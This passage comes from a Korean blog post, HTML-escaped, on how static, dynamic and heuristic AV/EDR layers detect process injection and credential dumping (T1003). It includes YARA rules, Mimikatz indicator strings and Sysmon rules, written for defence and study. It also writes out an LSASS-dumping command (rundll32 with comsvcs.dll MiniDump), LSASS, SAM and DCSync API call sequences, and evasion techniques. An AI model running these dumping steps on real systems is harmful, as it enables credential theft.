&lt;td&gt;&lt;b&gt;매우 높은 위험&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;유효하지 않은 서명 (해지/만료/변조)&lt;/td&gt;
&lt;td&gt;&lt;b&gt;높은 위험&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;자가 서명 (알려지지 않은 발급자)&lt;/td&gt;
&lt;td&gt;&lt;b&gt;높은 위험&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;유효 서명 (손상된 벤더)&lt;/td&gt;
&lt;td&gt;&lt;b&gt;낮은 위험&lt;/b&gt; &amp;mdash; 탐지 어려움&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;유효 서명 (정상 벤더)&lt;/td&gt;
&lt;td&gt;&lt;b&gt;낮은 위험&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;3.3.3 파일 경로 이상&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;C:\Windows\System32\svchost.exe&lt;/code&gt;는 정상. &lt;code&gt;C:\Users\victim\Downloads\svchost.exe&lt;/code&gt;는 의심. 같은 파일명이라도 경로가 다르면 위장 공격일 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위험 실행 경로:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;code&gt;%TEMP%&lt;/code&gt;, &lt;code&gt;%APPDATA%\Local\Temp&lt;/code&gt;, &lt;code&gt;Downloads&lt;/code&gt; 폴더&lt;/li&gt;
&lt;li&gt;&lt;code&gt;C:\Users\Public&lt;/code&gt;, &lt;code&gt;C:\ProgramData&lt;/code&gt;, &lt;code&gt;C:\Windows\Temp&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;이중 확장자: &lt;code&gt;document.pdf.exe&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;C:\Windows\System32&lt;/code&gt; 외부의 시스템 파일 가장 바이너리&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;3.3.4 복합 위험도 점수 계산&lt;/h4&gt;
&lt;pre class=&quot;routeros&quot;&gt;&lt;code&gt;[크리티컬 &amp;mdash; 즉시 차단]
바이너리 수명 &amp;lt; 24시간 + 인젝션 API + 미서명 = 크리티컬

[매우 높음]
작은 파일 (&amp;lt; 200KB) + 높은 엔트로피 + 인젝션 API = 매우 높음

[높음]
프로세스가 SUSPENDED로 자식 생성 후 메모리 쓰기 = 높음
사용자 수준 프로세스에서 SYSTEM 프로세스에 OpenProcess = 높음
다수 프로세스에 대한 빠른 연속 VirtualAllocEx = 높음&lt;/code&gt;&lt;/pre&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;4. T1003 자격증명 덤핑 &amp;mdash; 탐지 레이어별 분석&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;4.1 정적 분석 (Static Analysis)&lt;/h3&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;4.1.1 IAT 분석&lt;/h4&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;API 함수&lt;/th&gt;
&lt;th&gt;맥락&lt;/th&gt;
&lt;th&gt;위험도&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;OpenProcess&lt;/code&gt; (LSASS 대상)&lt;/td&gt;
&lt;td&gt;LSASS 메모리 접근&lt;/td&gt;
&lt;td&gt;&lt;b&gt;높음&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;MiniDumpWriteDump&lt;/code&gt; (DbgHelp.dll)&lt;/td&gt;
&lt;td&gt;프로세스 덤프 생성&lt;/td&gt;
&lt;td&gt;LSASS 대상 시 &lt;b&gt;매우 높음&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;NtReadVirtualMemory&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;LSASS 메모리 읽기&lt;/td&gt;
&lt;td&gt;&lt;b&gt;매우 높음&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;SamConnect&lt;/code&gt; / &lt;code&gt;SamOpenDomain&lt;/code&gt; / &lt;code&gt;SamQueryInformationUser&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;SAM 접근&lt;/td&gt;
&lt;td&gt;&lt;b&gt;매우 높음&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;RegSaveKey&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;레지스트리 하이브 추출&lt;/td&gt;
&lt;td&gt;SAM/SECURITY/SYSTEM 대상 시 &lt;b&gt;높음&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;AdjustTokenPrivileges&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;SeDebugPrivilege 활성화&lt;/td&gt;
&lt;td&gt;&lt;b&gt;높음&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;DsBind&lt;/code&gt; / &lt;code&gt;DsGetNCChanges&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;DCSync&lt;/td&gt;
&lt;td&gt;비DC에서 &lt;b&gt;매우 높음&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;4.1.2 문자열 분석&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Mimikatz 지표:&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;css&quot;&gt;&lt;code&gt;sekurlsa::logonpasswords, sekurlsa::wdigest, lsadump::sam, lsadump::dcsync
mimikatz, gentilkiwi, Benjamin DELPY, vincent LE TOUX
mimilib.dll, mimidrv.sys, privilege::debug&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;기타 도구 문자열:&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;pgsql&quot;&gt;&lt;code&gt;procdump, comsvcs.dll, MiniDump, MiniDumpWriteDump
secretsdump, hashdump
HKLM\SAM, HKLM\SECURITY, HKLM\SYSTEM
ntdsutil, IFM, create full, vssadmin create shadow&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;인코딩된 페이로드:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;PowerShell 내 Base64 인코딩 PE: &lt;code&gt;TVqQ&lt;/code&gt;로 시작하는 대형 Base64 블록 (MZ 헤더)&lt;/li&gt;
&lt;li&gt;Invoke-Mimikatz 등 리플렉티브 로딩 버전&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;4.1.3 YARA 룰 패턴&lt;/h4&gt;
&lt;pre class=&quot;cos&quot;&gt;&lt;code&gt;rule Mimikatz_Indicators {
    meta:
        description = &quot;Mimikatz 및 변종 탐지&quot;
        mitre_attack = &quot;T1003&quot;
    strings:
        $s1 = &quot;sekurlsa&quot; ascii wide
        $s2 = &quot;logonpasswords&quot; ascii wide
        $s3 = &quot;lsadump&quot; ascii wide
        $s4 = &quot;gentilkiwi&quot; ascii wide
        $s5 = &quot;mimikatz&quot; ascii wide nocase
        $s6 = &quot;wdigest&quot; ascii wide
    condition:
        3 of them
}

rule LSASS_Dump_Tool {
    strings:
        $api1 = &quot;MiniDumpWriteDump&quot;
        $api2 = &quot;OpenProcess&quot;
        $api3 = &quot;DbgHelp.dll&quot; nocase
        $lsass = &quot;lsass&quot; nocase
    condition:
        ($api1 or $api3) and $api2 and $lsass
}

rule Comsvcs_MiniDump_Abuse {
    strings:
        $s1 = &quot;comsvcs.dll&quot; nocase
        $s2 = &quot;MiniDump&quot;
        $s3 = &quot;#24&quot;  // MiniDump export ordinal
    condition:
        $s1 and ($s2 or $s3)
}&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;4.2 동적 분석 (Dynamic/Behavioral Analysis)&lt;/h3&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;4.2.1 API 호출 시퀀스 트리거 조건&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;LSASS 메모리 덤프:&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;reasonml&quot;&gt;&lt;code&gt;① CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS) &amp;rarr; Process32First/Next (lsass.exe PID 탐색)
    &amp;darr;
② OpenProcess(PROCESS_VM_READ | PROCESS_QUERY_INFORMATION, lsass_pid) &amp;mdash; SeDebugPrivilege 필요
    &amp;darr;
③ MiniDumpWriteDump(hLsass, lsass_pid, hFile, MiniDumpWithFullMemory)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;SAM 덤프:&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;tp&quot;&gt;&lt;code&gt;① AdjustTokenPrivileges &amp;rarr; SeBackupPrivilege 활성화
    &amp;darr;
② RegOpenKeyExA/W(HKEY_LOCAL_MACHINE, &quot;SAM&quot;)
    &amp;darr;
③ RegSaveKeyA/W &amp;rarr; 파일로 출력&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;DCSync:&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;isbl&quot;&gt;&lt;code&gt;① DsBind(도메인 컨트롤러)
    &amp;darr;
② DsGetNCChanges(DRSUAPI_DRS_INIT_SYNC + DRSUAPI_DRS_WRIT_REP)
    &amp;darr;
③ 반복 호출 &amp;rarr; 전체 계정 복제&lt;/code&gt;&lt;/pre&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;4.2.2 핸들 및 메모리 지표&lt;/h4&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;조건&lt;/th&gt;
&lt;th&gt;설명&lt;/th&gt;
&lt;th&gt;위험도&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;비LSASS 프로세스가 lsass.exe 핸들 보유 (VM_READ)&lt;/td&gt;
&lt;td&gt;보안 제품 및 WerFault.exe 제외&lt;/td&gt;
&lt;td&gt;&lt;b&gt;크리티컬&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SeDebugPrivilege 활성화&lt;/td&gt;
&lt;td&gt;일반 사용자 프로세스에서&lt;/td&gt;
&lt;td&gt;&lt;b&gt;높음&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;LSASS가 갑자기 대용량 파일 생성&lt;/td&gt;
&lt;td&gt;덤프 파일&lt;/td&gt;
&lt;td&gt;&lt;b&gt;크리티컬&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;다른 프로세스에 복제된 LSASS 토큰&lt;/td&gt;
&lt;td&gt;토큰 복제&lt;/td&gt;
&lt;td&gt;&lt;b&gt;높음&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;누가 lsass.exe에 접근하는가&lt;/b&gt;가 핵심이다. Sysmon의 Event ID 10은 이 접근을 기록한다:&lt;/p&gt;
&lt;pre class=&quot;properties&quot;&gt;&lt;code&gt;탐지 규칙: 
IF ProcessAccess.TargetImage == &quot;lsass.exe&quot; 
AND SourceImage NOT IN (보안 제품 허용 목록) 
AND GrantedAccess INCLUDES VM_READ
THEN &amp;rarr; CRITICAL ALERT&lt;/code&gt;&lt;/pre&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;4.2.3 프로세스 관계 이상&lt;/h4&gt;
&lt;pre class=&quot;vim&quot;&gt;&lt;code&gt;✗ rundll32.exe &amp;rarr; comsvcs.dll 로딩 + MiniDump 인수          &amp;larr; LSASS 덤프 의심
✗ cmd.exe/powershell.exe &amp;rarr; reg save SAM/SYSTEM/SECURITY   &amp;larr; 자격증명 추출
✗ 비관리 도구가 lsass.exe 핸들 오픈                          &amp;larr; 비인가 접근
✗ ntdsutil.exe가 비정상 부모 프로세스에서 스폰              &amp;larr; NTDS 추출 의심
✗ vssadmin.exe가 백업 스케줄 외에 섀도 카피 생성            &amp;larr; 비정상 사용&lt;/code&gt;&lt;/pre&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;4.2.4 Windows 이벤트 로그 지표&lt;/h4&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;이벤트&lt;/th&gt;
&lt;th&gt;소스&lt;/th&gt;
&lt;th&gt;설명&lt;/th&gt;
&lt;th&gt;우선순위&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;Event ID 10&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;Sysmon&lt;/td&gt;
&lt;td&gt;lsass.exe에 대한 ProcessAccess&lt;/td&gt;
&lt;td&gt;&lt;b&gt;최우선&lt;/b&gt; &amp;mdash; 가장 중요한 단일 탐지 포인트&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Event ID 1&lt;/td&gt;
&lt;td&gt;Sysmon&lt;/td&gt;
&lt;td&gt;자격증명 덤핑 도구 해시의 프로세스 생성&lt;/td&gt;
&lt;td&gt;높음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Event ID 4656/4663&lt;/td&gt;
&lt;td&gt;Windows Security&lt;/td&gt;
&lt;td&gt;&lt;code&gt;\Device\HarddiskVolumeShadowCopy*\Windows\NTDS\ntds.dit&lt;/code&gt; 접근&lt;/td&gt;
&lt;td&gt;높음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;b&gt;Event ID 4662&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;Windows Security&lt;/td&gt;
&lt;td&gt;DS-Replication-Get-Changes GUID 접근&lt;/td&gt;
&lt;td&gt;&lt;b&gt;최우선&lt;/b&gt; (DCSync)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Event ID 4688&lt;/td&gt;
&lt;td&gt;Windows Security&lt;/td&gt;
&lt;td&gt;ntdsutil.exe, vssadmin.exe 프로세스 생성&lt;/td&gt;
&lt;td&gt;중간&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;DCSync 탐지를 위한 핵심 GUID:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;code&gt;{1131f6aa-9c07-11d1-f79f-00c04fc2dcd2}&lt;/code&gt; &amp;mdash; DS-Replication-Get-Changes&lt;/li&gt;
&lt;li&gt;&lt;code&gt;{1131f6ad-9c07-11d1-f79f-00c04fc2dcd2}&lt;/code&gt; &amp;mdash; DS-Replication-Get-Changes-All&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;4.2.5 파일 시스템 아티팩트&lt;/h4&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;아티팩트&lt;/th&gt;
&lt;th&gt;위치&lt;/th&gt;
&lt;th&gt;의미&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;*.dmp&lt;/code&gt; 파일&lt;/td&gt;
&lt;td&gt;비정상 위치&lt;/td&gt;
&lt;td&gt;LSASS 메모리 덤프&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;sam.hiv&lt;/code&gt;, &lt;code&gt;system.hiv&lt;/code&gt;, &lt;code&gt;security.hiv&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;임시 디렉토리&lt;/td&gt;
&lt;td&gt;레지스트리 하이브 추출&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ntds.dit&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;C:\Windows\NTDS\&lt;/code&gt; 외부&lt;/td&gt;
&lt;td&gt;AD 데이터베이스 복사&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Prefetch 파일&lt;/td&gt;
&lt;td&gt;&lt;code&gt;C:\Windows\Prefetch\&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;도구 실행 흔적&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;4.3 휴리스틱 분석 (Heuristic Analysis)&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Mimikatz, procdump, gsecdump, pwdump 등의 알려진 해시 + SSDEEP 퍼지 해싱으로 변종 탐지&lt;/li&gt;
&lt;li&gt;Import Hash(imphash) 매칭으로 알려진 자격증명 덤핑 도구 계열 식별&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;복합 위험도 점수:&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;routeros&quot;&gt;&lt;code&gt;[크리티컬 &amp;mdash; 즉시 차단]
LSASS 접근 프로세스 + 미서명 + 낮은 평판 = 크리티컬
SeDebugPrivilege 활성화 + LSASS 접근 + 대용량 파일 쓰기 = 크리티컬
MiniDumpWriteDump 호출 + LSASS PID 대상 = 크리티컬 (서명된 도구라도)
reg save SAM/SYSTEM + 비관리 스크립트에서 실행 = 크리티컬&lt;/code&gt;&lt;/pre&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;5. 레이어 간 상관관계 분석&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;핵심 질문: 하나의 레이어를 우회하면 다른 레이어에서 걸리는가?&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;답은 &lt;b&gt;&quot;거의 항상 그렇다&quot;&lt;/b&gt;이다. 다만 모든 조합이 동일하지는 않다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;5.1 정적 분석 우회 시 &amp;rarr; 동적 분석에서의 탐지&lt;/h3&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;정적 우회 기법&lt;/th&gt;
&lt;th&gt;동적 탐지 가능 여부&lt;/th&gt;
&lt;th&gt;설명&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;문자열 난독화/암호화&lt;/td&gt;
&lt;td&gt;&lt;b&gt;탐지됨&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;실행 시 동일 API 호출 시퀀스 발생&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;IAT 은닉 (런타임 해결)&lt;/td&gt;
&lt;td&gt;&lt;b&gt;탐지됨&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;GetProcAddress&lt;/code&gt; 호출 후 동일 행위 수행&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;PE 패킹/암호화&lt;/td&gt;
&lt;td&gt;&lt;b&gt;탐지됨&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;언패킹 후 메모리에서 원본 코드 실행&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;커스텀 인코딩&lt;/td&gt;
&lt;td&gt;&lt;b&gt;탐지됨&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;디코딩 후 동일 행위 패턴&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;시그니처 변경 (리빌드)&lt;/td&gt;
&lt;td&gt;&lt;b&gt;탐지됨&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;API 시퀀스와 메모리 패턴 동일&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;직접 시스콜&lt;/td&gt;
&lt;td&gt;&lt;b&gt;부분 탐지&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;유저랜드 후킹 우회하나 커널 콜백/ETW는 탐지&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;결론:&lt;/b&gt; 정적 분석 우회는 동적 분석에 거의 영향을 미치지 않음. &lt;b&gt;동적 분석이 가장 견고한 탐지 레이어.&lt;/b&gt;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;5.2 동적 분석 우회 시 &amp;rarr; 다른 레이어의 탐지&lt;/h3&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;동적 우회 기법&lt;/th&gt;
&lt;th&gt;정적 탐지&lt;/th&gt;
&lt;th&gt;휴리스틱 탐지&lt;/th&gt;
&lt;th&gt;설명&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;직접 시스콜 (유저랜드 후킹 우회)&lt;/td&gt;
&lt;td&gt;&lt;b&gt;가능&lt;/b&gt; (시스콜 스텁 패턴)&lt;/td&gt;
&lt;td&gt;&lt;b&gt;가능&lt;/b&gt; (미서명+낮은 평판)&lt;/td&gt;
&lt;td&gt;바이트 패턴 &lt;code&gt;4C 8B D1 B8 ?? ?? 00 00 0F 05 C3&lt;/code&gt; 탐지&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;콜백 기반 실행&lt;/td&gt;
&lt;td&gt;&lt;b&gt;가능&lt;/b&gt; (API 임포트)&lt;/td&gt;
&lt;td&gt;&lt;b&gt;가능&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;EnumWindows&lt;/code&gt;, &lt;code&gt;CreateTimerQueueTimer&lt;/code&gt; 임포트&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;모듈 스톰핑&lt;/td&gt;
&lt;td&gt;&lt;b&gt;불가&lt;/b&gt; (정상 DLL 덮어쓰기)&lt;/td&gt;
&lt;td&gt;&lt;b&gt;부분&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;메모리 내용이 디스크 원본과 불일치 감지 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;파이버 기반 실행&lt;/td&gt;
&lt;td&gt;&lt;b&gt;가능&lt;/b&gt; (&lt;code&gt;CreateFiber&lt;/code&gt; 임포트)&lt;/td&gt;
&lt;td&gt;&lt;b&gt;가능&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;스레드 생성 모니터링 우회하나 다른 지표&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;5.3 휴리스틱 우회 시 &amp;rarr; 다른 레이어의 탐지&lt;/h3&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;휴리스틱 우회 기법&lt;/th&gt;
&lt;th&gt;정적 탐지&lt;/th&gt;
&lt;th&gt;동적 탐지&lt;/th&gt;
&lt;th&gt;설명&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;유효 코드 서명 (탈취된 인증서)&lt;/td&gt;
&lt;td&gt;&lt;b&gt;가능&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt;가능&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;서명만으로 다른 지표 무시되지 않음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;정상 경로 배치&lt;/td&gt;
&lt;td&gt;&lt;b&gt;가능&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;&lt;b&gt;가능&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;경로만으로 행위 지표 무시되지 않음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;LoLBin 사용 (comsvcs.dll 등)&lt;/td&gt;
&lt;td&gt;&lt;b&gt;불가&lt;/b&gt; (정상 파일)&lt;/td&gt;
&lt;td&gt;&lt;b&gt;가능&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;정상 DLL의 비정상 사용 패턴 탐지&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;높은 평판 도구 악용 (procdump)&lt;/td&gt;
&lt;td&gt;&lt;b&gt;불가&lt;/b&gt; (MS 서명)&lt;/td&gt;
&lt;td&gt;&lt;b&gt;가능&lt;/b&gt;&lt;/td&gt;
&lt;td&gt;LSASS 대상 인수 탐지&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;5.4 레이어 간 상관관계 매트릭스&lt;/h3&gt;
&lt;pre class=&quot;fix&quot;&gt;&lt;code&gt;              정적 우회   동적 우회   휴리스틱 우회
정적 탐지       &amp;mdash;         ✓ 가능     ✓ 가능
동적 탐지      ✓ 가능      &amp;mdash;         ✓ 가능
휴리스틱 탐지   ✓ 가능     ✓ 가능      &amp;mdash;

✓ = 해당 레이어를 우회해도 다른 레이어에서 탐지 가능&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;5.5 LoLBin 사례 분석 &amp;mdash; 다중 레이어 동시 우회&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump&lt;/code&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 명령은 &lt;b&gt;Windows 시스템 DLL을 사용&lt;/b&gt;하여 LSASS를 덤프한다:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;정적 분석: comsvcs.dll은 정상 시스템 파일 &amp;rarr; &lt;b&gt;우회&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;휴리스틱: Microsoft 서명 + 정상 경로 &amp;rarr; &lt;b&gt;우회&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;동적 분석: &quot;comsvcs.dll의 MiniDump 함수 + lsass.exe PID&quot; 인수 &amp;rarr; &lt;b&gt;탐지됨&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;결론: &lt;b&gt;동적 분석이 최후의 보루 역할&lt;/b&gt;을 한다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;5.6 핵심 인사이트&lt;/h3&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;동적 분석이 가장 견고&lt;/b&gt;: 정적/휴리스틱 우회 시에도 동적 분석이 가장 높은 확률로 탐지&lt;/li&gt;
&lt;li&gt;&lt;b&gt;정적 분석이 가장 취약&lt;/b&gt;: 난독화/패킹으로 비교적 쉽게 우회 가능&lt;/li&gt;
&lt;li&gt;&lt;b&gt;LoLBin은 정적+휴리스틱 동시 우회&lt;/b&gt;: 시스템 바이너리 악용 시 정적과 휴리스틱 모두 우회되나 동적은 탐지&lt;/li&gt;
&lt;li&gt;&lt;b&gt;직접 시스콜은 동적+정적 부분 우회&lt;/b&gt;: 유저랜드 후킹과 IAT 분석 우회하나 커널 수준 모니터링과 바이트 패턴 분석은 탐지&lt;/li&gt;
&lt;li&gt;&lt;b&gt;3계층 모두 우회하는 유일한 방법&lt;/b&gt;: 커널 수준 악성코드 (루트킷) &amp;mdash; 이는 별도의 방어 레이어(Secure Boot, HVCI 등) 필요&lt;/li&gt;
&lt;/ol&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h1&gt;Part 3: 제품별 탐지 비교 매트릭스&lt;/h1&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;6. 멀티 AV/EDR 제품 비교&lt;/h2&gt;
